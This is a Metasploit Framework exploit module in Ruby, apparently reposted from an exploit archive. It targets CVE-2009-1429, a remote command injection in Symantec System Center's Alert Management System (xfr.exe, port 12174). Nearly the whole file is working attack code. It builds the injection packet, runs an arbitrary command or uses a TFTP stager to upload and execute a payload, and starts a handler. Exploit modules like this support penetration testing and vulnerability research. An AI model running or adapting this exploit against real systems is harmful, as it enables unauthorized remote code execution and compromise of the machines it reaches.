Symantec System Alert Management System (xfr.exe) Command Execution

##
# $Id: ams_xfr.rb 13591 2011-08-19 18:35:29Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
    Rank = ExcellentRanking
 
    include Msf::Exploit::CmdStagerTFTP
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',
            'Description'    => %q{
                    Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
                    because the application fails to properly sanitize user-supplied input.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13591 $',
            'References'     =>
                [
                    [ 'CVE', '2009-1429' ],
                    [ 'BID', '34671' ],
                    [ 'OSVDB', '54157' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-060/' ],
                    [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]
                ],
            'Targets'       =>
                [
                    [ 'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        }
                    ]
                ],
            'Privileged' => 'true',
            'Platform' => 'win',
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Apr 28 2009'))
 
        register_options(
            [
                Opt::RPORT(12174),
                OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
            ], self.class)
    end
 
    def windows_stager
 
        exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
 
        print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
        execute_cmdstager({ :temp => '.'})
        @payload_exe = payload_exe
 
        print_status("Attempting to execute the payload...")
        execute_command(@payload_exe)
 
    end
 
    def execute_command(cmd, opts = {})
 
        connect
 
            len  = 2 + cmd.length
 
            data =  [0x00000000].pack('V')
            data << len.chr
            data << "\x00"
            data << cmd + " "
            data << "\x00"
 
            sock.put(data)
 
            res = sock.get_once
 
                if (!res)
                    print_error("Did not recieve data. Failed?")
                else
                    print_status("Got data, execution successful!")
                end
 
        disconnect
         
    end
 
    def exploit
 
        if not datastore['CMD'].empty?
            print_status("Executing command '#{datastore['CMD']}'")
            execute_command(datastore['CMD'])
            return
        end
 
        case target['Platform']
            when 'win'
                windows_stager
            else
                raise RuntimeError, 'Target not supported.'
            end
 
        handler
 
    end
end



#  0day.today [2018-02-15]  #